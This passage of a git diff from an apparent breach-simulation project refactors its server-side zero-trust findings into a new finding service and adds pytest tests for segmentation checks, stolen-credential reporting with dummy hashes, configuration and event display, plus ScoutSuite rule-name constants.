add_malicious_activity_to_timeline(events) + MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/known_anti_viruses.py diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py similarity index 64% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py index 06d97d66d..d6813259c 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py @@ -1,10 +1,9 @@ -import common.data.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.aggregate_finding import ( - AggregateFinding, add_malicious_activity_to_timeline) +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService -def test_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): +def check_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): events = [ Event.create_event( title="Exploit attempt", @@ -30,10 +29,7 @@ def test_machine_exploited(current_monkey, exploit_successful, exploiter, target ) status = zero_trust_consts.STATUS_FAILED - AggregateFinding.create_or_add_to_existing( - test=zero_trust_consts.TEST_MACHINE_EXPLOITED, - status=status, - events=events - ) + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, + events=events) - add_malicious_activity_to_timeline(events) + MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py similarity index 82% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py index a46dbc4a3..d5a56b36d 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py @@ -1,15 +1,12 @@ import itertools -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from common.network.network_range import NetworkRange -from common.network.segmentation_utils import (get_ip_if_in_subnet, - get_ip_in_src_and_not_in_dst) +from common.network.segmentation_utils import get_ip_if_in_subnet, get_ip_in_src_and_not_in_dst from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.segmentation_finding import \ - SegmentationFinding -from monkey_island.cc.services.configuration.utils import \ - get_config_network_segments_as_subnet_groups +from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \ "from `{src_seg}` segments to `{dst_seg}` segments." @@ -19,7 +16,7 @@ SEGMENTATION_VIOLATION_EVENT_TEXT = \ "managed to communicate cross segment to {target_ip} (in segment {target_seg})." -def test_segmentation_violation(current_monkey, target_ip): +def check_segmentation_violation(current_monkey, target_ip): # TODO - lower code duplication between this and report.py. subnet_groups = get_config_network_segments_as_subnet_groups() for subnet_group in subnet_groups: @@ -29,10 +26,10 @@ def test_segmentation_violation(current_monkey, target_ip): target_subnet = subnet_pair[1] if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) - SegmentationFinding.create_or_add_to_existing_finding( - subnets=[source_subnet, target_subnet], + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, - segmentation_event=event + events=[event] ) @@ -73,7 +70,7 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t ) -def test_passed_findings_for_unreached_segments(current_monkey): +def check_passed_findings_for_unreached_segments(current_monkey): flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist] create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey) @@ -93,10 +90,10 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): all_subnets_pairs_for_this_monkey = itertools.product(this_monkey_subnets, other_subnets) for subnet_pair in all_subnets_pairs_for_this_monkey: - SegmentationFinding.create_or_add_to_existing_finding( - subnets=list(subnet_pair), + MonkeyZTFindingService.create_or_add_to_existing( status=zero_trust_consts.STATUS_PASSED, - segmentation_event=get_segmentation_done_event(current_monkey, subnet_pair) + events=[get_segmentation_done_event(current_monkey, subnet_pair)], + test=zero_trust_consts.TEST_SEGMENTATION ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py new file mode 100644 index 000000000..ca58549d1 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py @@ -0,0 +1,56 @@ +import uuid + +import common.common_consts.zero_trust_consts as zero_trust_consts +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import create_or_add_findings_for_all_pairs +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService + +FIRST_SUBNET = "1.1.1.1" +SECOND_SUBNET = "2.2.2.0/24" +THIRD_SUBNET = "3.3.3.3-3.3.3.200" + + +class TestSegmentationChecks: + + def test_create_findings_for_all_done_pairs(self): + all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET] + + monkey = Monkey( + guid=str(uuid.uuid4()), + ip_addresses=[FIRST_SUBNET]) + + # no findings + assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 + + # This is like the monkey is done and sent done telem + create_or_add_findings_for_all_pairs(all_subnets, monkey) + + # There are 2 subnets in which the monkey is NOT + zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_PASSED) + + # Assert that there's only one finding with multiple events (one for each subnet) + assert len(zt_seg_findings) == 1 + assert len(Finding.objects().get().details.fetch().events) == 2 + + # This is a monkey from 2nd subnet communicated with 1st subnet. + MonkeyZTFindingService.create_or_add_to_existing( + status=zero_trust_consts.STATUS_FAILED, + test=zero_trust_consts.TEST_SEGMENTATION, + events=[Event.create_event(title="sdf", + message="asd", + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)] + ) + + zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_PASSED) + assert len(zt_seg_findings) == 1 + + zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED) + assert len(zt_seg_findings) == 1 + + zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION) + assert len(zt_seg_findings) == 2 diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py similarity index 59% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py index f4d508156..4b755be98 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py @@ -1,13 +1,11 @@ -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.aggregate_finding import ( - AggregateFinding, add_malicious_activity_to_timeline) from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.telemetry.processing.utils import \ - get_tunnel_host_ip_from_proxy_field +from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService -def test_tunneling_violation(tunnel_telemetry_json): +def check_tunneling_violation(tunnel_telemetry_json): if tunnel_telemetry_json['data']['proxy'] is not None: # Monkey is tunneling, create findings tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json) @@ -20,10 +18,7 @@ def test_tunneling_violation(tunnel_telemetry_json): timestamp=tunnel_telemetry_json['timestamp'] )] - AggregateFinding.create_or_add_to_existing( - test=zero_trust_consts.TEST_TUNNELING, - status=zero_trust_consts.STATUS_FAILED, - events=tunneling_events - ) + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_TUNNELING, + status=zero_trust_consts.STATUS_FAILED, events=tunneling_events) - add_malicious_activity_to_timeline(tunneling_events) + MonkeyZTFindingService.add_malicious_activity_to_timeline(tunneling_events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py deleted file mode 100644 index b2aeaf524..000000000 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py +++ /dev/null @@ -1,55 +0,0 @@ -import uuid - -import common.data.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.models.zero_trust.segmentation_finding import \ - SegmentationFinding -from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ - create_or_add_findings_for_all_pairs -from monkey_island.cc.testing.IslandTestCase import IslandTestCase - -FIRST_SUBNET = "1.1.1.1" -SECOND_SUBNET = "2.2.2.0/24" -THIRD_SUBNET = "3.3.3.3-3.3.3.200" - - -class TestSegmentationTests(IslandTestCase): - def test_create_findings_for_all_done_pairs(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET] - - monkey = Monkey( - guid=str(uuid.uuid4()), - ip_addresses=[FIRST_SUBNET]) - - # no findings - self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0) - - # This is like the monkey is done and sent done telem - create_or_add_findings_for_all_pairs(all_subnets, monkey) - - # There are 2 subnets in which the monkey is NOT - self.assertEqual( - len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED)), - 2) - - # This is a monkey from 2nd subnet communicated with 1st subnet. - SegmentationFinding.create_or_add_to_existing_finding( - [FIRST_SUBNET, SECOND_SUBNET], - zero_trust_consts.STATUS_FAILED, - Event.create_event(title="sdf", message="asd", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) - ) - - self.assertEqual( - len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED)), - 1) - self.assertEqual( - len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED)), - 1) - self.assertEqual( - len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), - 2) diff --git a/monkey/monkey_island/cc/services/tests/reporting/test_report.py b/monkey/monkey_island/cc/services/tests/reporting/test_report.py new file mode 100644 index 000000000..cc0ea321e --- /dev/null +++ b/monkey/monkey_island/cc/services/tests/reporting/test_report.py @@ -0,0 +1,118 @@ +import mongomock +import pytest +from bson import ObjectId + +from monkey_island.cc.services.reporting.report import ReportService + +TELEM_ID = { + "exploit_creds": ObjectId(b"123456789000"), + "system_info_creds": ObjectId(b"987654321000"), + "no_creds": ObjectId(b"112233445566"), + "monkey": ObjectId(b"665544332211"), +} +MONKEY_GUID = "67890" +USER = "user-name" +PWD = "password123" +LM_HASH = "e52cac67419a9a22664345140a852f61" +NT_HASH = "a9fdfa038c4b75ebc76dc855dd74f0da" +VICTIM_IP = "0.0.0.0" +VICTIM_DOMAIN_NAME = "domain-name" +HOSTNAME = "name-of-host" +EXPLOITER_CLASS_NAME = "exploiter-name" + +# Below telem constants only contain fields relevant to current tests + +EXPLOIT_TELEMETRY_TELEM = { + "_id": TELEM_ID["exploit_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "exploit", + "data": { + "machine": { + "ip_addr": VICTIM_IP, + "domain_name": VICTIM_DOMAIN_NAME, + }, + "info": { + "credentials": { + USER: { + "username": USER, + "lm_hash": LM_HASH, + "ntlm_hash": NT_HASH, + } + } + } + } +} + + +SYSTEM_INFO_TELEMETRY_TELEM = { + "_id": TELEM_ID["system_info_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "system_info", + "data": { + "credentials": { + USER: { + "password": PWD, + "lm_hash": LM_HASH, + "ntlm_hash": NT_HASH, + } + } + } +} + +NO_CREDS_TELEMETRY_TELEM = { + "_id": TELEM_ID["no_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "exploit", + "data": { + "machine": { + "ip_addr": VICTIM_IP, + "domain_name": VICTIM_DOMAIN_NAME, + }, + "info": {"credentials": {}} + } +} + +MONKEY_TELEM = {"_id": TELEM_ID["monkey"], "guid": MONKEY_GUID, "hostname": HOSTNAME} + + +@pytest.fixture +def fake_mongo(monkeypatch): + mongo = mongomock.MongoClient() + monkeypatch.setattr("monkey_island.cc.services.reporting.report.mongo", mongo) + monkeypatch.setattr("monkey_island.cc.services.node.mongo", mongo) + return mongo + + +def test_get_stolen_creds_exploit(fake_mongo): + fake_mongo.db.telemetry.insert_one(EXPLOIT_TELEMETRY_TELEM) + + stolen_creds_exploit = ReportService.get_stolen_creds() + expected_stolen_creds_exploit = [ + {"origin": VICTIM_DOMAIN_NAME, "type": "LM hash", "username": USER}, + {"origin": VICTIM_DOMAIN_NAME, "type": "NTLM hash", "username": USER}, + ] + + assert expected_stolen_creds_exploit == stolen_creds_exploit + + +def test_get_stolen_creds_system_info(fake_mongo): + fake_mongo.db.monkey.insert_one(MONKEY_TELEM) + fake_mongo.db.telemetry.insert_one(SYSTEM_INFO_TELEMETRY_TELEM) + + stolen_creds_system_info = ReportService.get_stolen_creds() + expected_stolen_creds_system_info = [ + {"origin": HOSTNAME, "type": "Clear Password", "username": USER}, + {"origin": HOSTNAME, "type": "LM hash", "username": USER}, + {"origin": HOSTNAME, "type": "NTLM hash", "username": USER}, + ] + + assert expected_stolen_creds_system_info == stolen_creds_system_info + + +def test_get_stolen_creds_no_creds(fake_mongo): + fake_mongo.db.telemetry.insert_one(NO_CREDS_TELEMETRY_TELEM) + + stolen_creds_no_creds = ReportService.get_stolen_creds() + expected_stolen_creds_no_creds = [] + + assert expected_stolen_creds_no_creds == stolen_creds_no_creds diff --git a/monkey/monkey_island/cc/services/tests/test_config.py b/monkey/monkey_island/cc/services/tests/test_config.py new file mode 100644 index 000000000..6cee39fbb --- /dev/null +++ b/monkey/monkey_island/cc/services/tests/test_config.py @@ -0,0 +1,34 @@ +import pytest + +import monkey_island.cc.services.config +from monkey_island.cc.environment import Environment +from monkey_island.cc.services.config import ConfigService + +IPS = ["0.0.0.0", "9.9.9.9"] +PORT = 9999 + +# If tests fail because config path is changed, sync with +# monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js + + +@pytest.fixture +def config(monkeypatch): + monkeypatch.setattr("monkey_island.cc.services.config.local_ip_addresses", + lambda: IPS) + monkeypatch.setattr(Environment, "_ISLAND_PORT", PORT) + config = ConfigService.get_default_config(True) + return config + + +def test_set_server_ips_in_config_command_servers(config): + ConfigService.set_server_ips_in_config(config) + expected_config_command_servers = [f"{ip}:{PORT}" for ip in IPS] + assert config["internal"]["island_server"]["command_servers"] ==\ + expected_config_command_servers + + +def test_set_server_ips_in_config_current_server(config): + ConfigService.set_server_ips_in_config(config) + expected_config_current_server = f"{IPS[0]}:{PORT}" + assert config["internal"]["island_server"]["current_server"] ==\ + expected_config_current_server diff --git a/monkey/monkey_island/cc/network_utils.py b/monkey/monkey_island/cc/services/utils/network_utils.py similarity index 100% rename from monkey/monkey_island/cc/network_utils.py rename to monkey/monkey_island/cc/services/utils/network_utils.py diff --git a/monkey/monkey_island/cc/services/utils/node_states_test.py b/monkey/monkey_island/cc/services/utils/node_states_test.py index 203ccb551..1204cb881 100644 --- a/monkey/monkey_island/cc/services/utils/node_states_test.py +++ b/monkey/monkey_island/cc/services/utils/node_states_test.py @@ -1,7 +1,6 @@ from unittest import TestCase -from monkey_island.cc.services.utils.node_states import ( - NodeStates, NoGroupsFoundException) +from monkey_island.cc.services.utils.node_states import NodeStates, NoGroupsFoundException class TestNodeGroups(TestCase): diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py index ad1f81513..af47bf93a 100644 --- a/monkey/monkey_island/cc/services/version_update.py +++ b/monkey/monkey_island/cc/services/version_update.py @@ -3,6 +3,7 @@ import logging import requests import monkey_island.cc.environment.environment_singleton as env_singleton +from common.utils.exceptions import VersionServerConnectionError from common.version import get_version __author__ = "itay.mizeretz" @@ -29,8 +30,8 @@ class VersionUpdateService: if VersionUpdateService.newer_version is None: try: VersionUpdateService.newer_version = VersionUpdateService._check_new_version() - except Exception: - logger.exception('Failed updating version number') + except VersionServerConnectionError: + logger.info('Failed updating version number') return VersionUpdateService.newer_version @@ -42,7 +43,11 @@ class VersionUpdateService: """ url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env_singleton.env.get_deployment(), get_version()) - reply = requests.get(url, timeout=15) + try: + reply = requests.get(url, timeout=7) + except requests.exceptions.RequestException: + logger.info("Can't get latest monkey version, probably no connection to the internet.") + raise VersionServerConnectionError res = reply.json().get('newer_version', None) diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index cf67d6c7f..284ae95df 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -1,6 +1,5 @@ from monkey_island.cc.database import mongo -from monkey_island.cc.services.groups_and_users_consts import (GROUPTYPE, - USERTYPE) +from monkey_island.cc.services.groups_and_users_consts import GROUPTYPE, USERTYPE __author__ = 'maor.rayzin' diff --git a/monkey/monkey_island/cc/services/zero_trust/__init__.py b/monkey/monkey_island/cc/services/zero_trust/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/__init__.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py new file mode 100644 index 000000000..167934d29 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py @@ -0,0 +1,44 @@ +from typing import List + +from bson import ObjectId + +from common.utils.exceptions import FindingWithoutDetailsError +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails + + +# How many events of a single finding to return to UI. +# 100 will return 50 latest and 50 oldest events from a finding +MAX_EVENT_FETCH_CNT = 100 + + +class MonkeyZTDetailsService: + + @staticmethod + def fetch_details_for_display(finding_id: ObjectId) -> dict: + pipeline = [{'$match': {'_id': finding_id}}, + {'$addFields': {'oldest_events': {'$slice': ['$events', int(MAX_EVENT_FETCH_CNT / 2)]}, + 'latest_events': {'$slice': ['$events', int(-1 * MAX_EVENT_FETCH_CNT / 2)]}, + 'event_count': {'$size': '$events'}}}, + {'$unset': ['events']}] + detail_list = list(MonkeyFindingDetails.objects.aggregate(*pipeline)) + if detail_list: + details = detail_list[0] + details['latest_events'] = MonkeyZTDetailsService._remove_redundant_events(details['event_count'], + details['latest_events']) + return details + else: + raise FindingWithoutDetailsError(f"Finding {finding_id} had no details.") + + @staticmethod + def _remove_redundant_events(fetched_event_count: int, latest_events: List[object]) -> List[object]: + overlap_count = fetched_event_count - int(MAX_EVENT_FETCH_CNT/2) + # None of 'latest_events' are in 'oldest_events' + if overlap_count >= MAX_EVENT_FETCH_CNT: + return latest_events + # All 'latest_events' are already in 'oldest_events' + elif overlap_count <= 0: + return [] + # Some of 'latest_events' are already in 'oldest_events'. + # Return only those that are not + else: + return latest_events[-1 * overlap_count:] diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py new file mode 100644 index 000000000..d8e439c71 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -0,0 +1,54 @@ +from typing import List + +from bson import ObjectId + +from common.common_consts import zero_trust_consts +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails + + +class MonkeyZTFindingService: + + @staticmethod + def create_or_add_to_existing(test: str, status: str, events: List[Event]): + """ + Create a new finding or add the events to an existing one if it's the same (same meaning same status and same + test). + + :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not + when this function should be used. + """ + existing_findings = list(MonkeyFinding.objects(test=test, status=status)) + assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) + + if len(existing_findings) == 0: + MonkeyZTFindingService.create_new_finding(test, status, events) + else: + # Now we know for sure this is the only one + MonkeyZTFindingService.add_events(existing_findings[0], events) + + @staticmethod + def create_new_finding(test: str, status: str, events: List[Event]): + details = MonkeyFindingDetails() + details.events = events + details.save() + MonkeyFinding.save_finding(test, status, details) + + @staticmethod + def add_events(finding: MonkeyFinding, events: List[Event]): + finding.details.fetch().add_events(events).save() + + @staticmethod + def get_events_by_finding(finding_id: str) -> List[object]: + finding = MonkeyFinding.objects.get(id=finding_id) + pipeline = [{'$match': {'_id': ObjectId(finding.details.id)}}, + {'$unwind': '$events'}, + {'$project': {'events': '$events'}}, + {'$replaceRoot': {'newRoot': '$events'}}] + return list(MonkeyFindingDetails.objects.aggregate(*pipeline)) + + @staticmethod + def add_malicious_activity_to_timeline(events): + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=zero_trust_consts.STATUS_VERIFY, events=events) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py new file mode 100644 index 000000000..a53ef70c8 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py @@ -0,0 +1,31 @@ +from monkey_island.cc.services.zero_trust.monkey_findings import monkey_zt_details_service +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService + + +def test__remove_redundant_events(monkeypatch): + monkeypatch.setattr(monkey_zt_details_service, 'MAX_EVENT_FETCH_CNT', 6) + + # No events are redundant, 8 events in the database, but we display only 6 (3 latest and 3 oldest) + latest_events = ['6', '7', '8'] + _do_redundant_event_removal_test(latest_events, 8, ['6', '7', '8']) + + # All latest events are redundant (only 3 events in db and we fetched them twice) + latest_events = ['1', '2', '3'] + _do_redundant_event_removal_test(latest_events, 3, []) + + # Some latest events are redundant (5 events in db and we fetched 3 oldest and 3 latest) + latest_events = ['3', '4', '5'] + _do_redundant_event_removal_test(latest_events, 5, ['4', '5']) + + # None of the events are redundant (6 events in db and we fetched 3 oldest and 3 latest) + latest_events = ['4', '5', '6'] + _do_redundant_event_removal_test(latest_events, 6, ['4', '5', '6']) + + # No events fetched, should return empty array also + latest_events = [] + _do_redundant_event_removal_test(latest_events, 0, []) + + +def _do_redundant_event_removal_test(input_list, fetched_event_cnt, expected_output): + output_events = MonkeyZTDetailsService._remove_redundant_events(fetched_event_cnt, input_list) + assert output_events == expected_output diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py new file mode 100644 index 000000000..80df71786 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py @@ -0,0 +1,71 @@ +from datetime import datetime + +import pytest + +from common.common_consts import zero_trust_consts +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.test_common.fixtures import FixtureEnum + +EVENTS = [ + Event.create_event( + title='Process list', + message='Monkey on gc-pc-244 scanned the process list', + event_type='monkey_local', + timestamp=datetime.strptime('2021-01-19 12:07:17.802138', '%Y-%m-%d %H:%M:%S.%f') + ), + Event.create_event( + title='Communicate as new user', + message='Monkey on gc-pc-244 couldn\'t communicate as new user. ' + 'Details: System error 5 has occurred. Access is denied.', + event_type='monkey_network', + timestamp=datetime.strptime('2021-01-19 12:22:42.246020', '%Y-%m-%d %H:%M:%S.%f') + ) +] + +TESTS = [ + zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, + zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER +] + +STATUS = [ + zero_trust_consts.STATUS_PASSED, + zero_trust_consts.STATUS_FAILED, + zero_trust_consts.STATUS_VERIFY +] + + +class TestMonkeyZTFindingService: + + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + def test_create_or_add_to_existing_creation(self): + # Create new finding + MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[0]]) + # Assert that it was properly created + findings = list(Finding.objects()) + assert len(findings) == 1 + assert findings[0].test == TESTS[0] + assert findings[0].status == STATUS[0] + finding_details = findings[0].details.fetch() + assert len(finding_details.events) == 1 + assert finding_details.events[0].message == EVENTS[0].message + + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + def test_create_or_add_to_existing_addition(self): + # Create new finding + MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[0]]) + # Assert that there's only one finding + assert len(Finding.objects()) == 1 + + # Add events to an existing finding + MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[1]]) + # Assert there's still only one finding, only events got appended + assert len(Finding.objects()) == 1 + assert len(Finding.objects()[0].details.fetch().events) == 2 + + # Create new finding + MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[1], status=STATUS[1], events=[EVENTS[1]]) + # Assert there was a new finding created, because test and status is different + assert len(MonkeyFinding.objects()) == 2 diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py new file mode 100644 index 000000000..732852174 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py @@ -0,0 +1,4 @@ +RULE_LEVEL_DANGER = 'danger' +RULE_LEVEL_WARNING = 'warning' + +RULE_LEVELS = (RULE_LEVEL_DANGER, RULE_LEVEL_WARNING) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py new file mode 100644 index 000000000..f8c87083e --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py @@ -0,0 +1,7 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class CloudformationRules(RuleNameEnum): + + # Service Security + CLOUDFORMATION_STACK_WITH_ROLE = 'cloudformation-stack-with-role' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py new file mode 100644 index 000000000..886999341 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py @@ -0,0 +1,11 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum + + +class CloudTrailRules(RuleNameEnum): + # Logging + CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING = 'cloudtrail-duplicated-global-services-logging' + CLOUDTRAIL_NO_DATA_LOGGING = 'cloudtrail-no-data-logging' + CLOUDTRAIL_NO_GLOBAL_SERVICES_LOGGING = 'cloudtrail-no-global-services-logging' + CLOUDTRAIL_NO_LOG_FILE_VALIDATION = 'cloudtrail-no-log-file-validation' + CLOUDTRAIL_NO_LOGGING = 'cloudtrail-no-logging' + CLOUDTRAIL_NOT_CONFIGURED = 'cloudtrail-not-configured' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py 